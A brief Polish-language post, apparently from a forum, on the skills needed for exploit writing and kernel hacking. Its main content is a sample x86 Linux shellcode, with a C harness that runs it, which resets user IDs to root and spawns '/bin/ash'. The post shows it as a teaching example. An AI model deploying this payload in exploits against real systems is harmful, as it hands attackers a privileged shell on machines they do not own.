ASM / C <-- shellcody, exploity, hakowanie jądra
(to podstawa)
Przykładowy shellcode wygląda np. tak:
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* movl $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
int main()
{
void (*fp)();
fp = (void*) &shellcode;
fp();
}
Musisz znać bardzo dobrze jakiś system UNIX'owy, wiedzieć jak działa jądro systemu, potrafić hakować jądro np. Linuksa.
Do tego dochodzi reverse engineering, bycie na bieżąco z najnowszym softem serwerowym, codziennie czytać forum nt. bezpiczeństwa aby znać wszystkie dziury, wiedzieć co to jest przepełnienie bufora, przepełnienie stosu itp.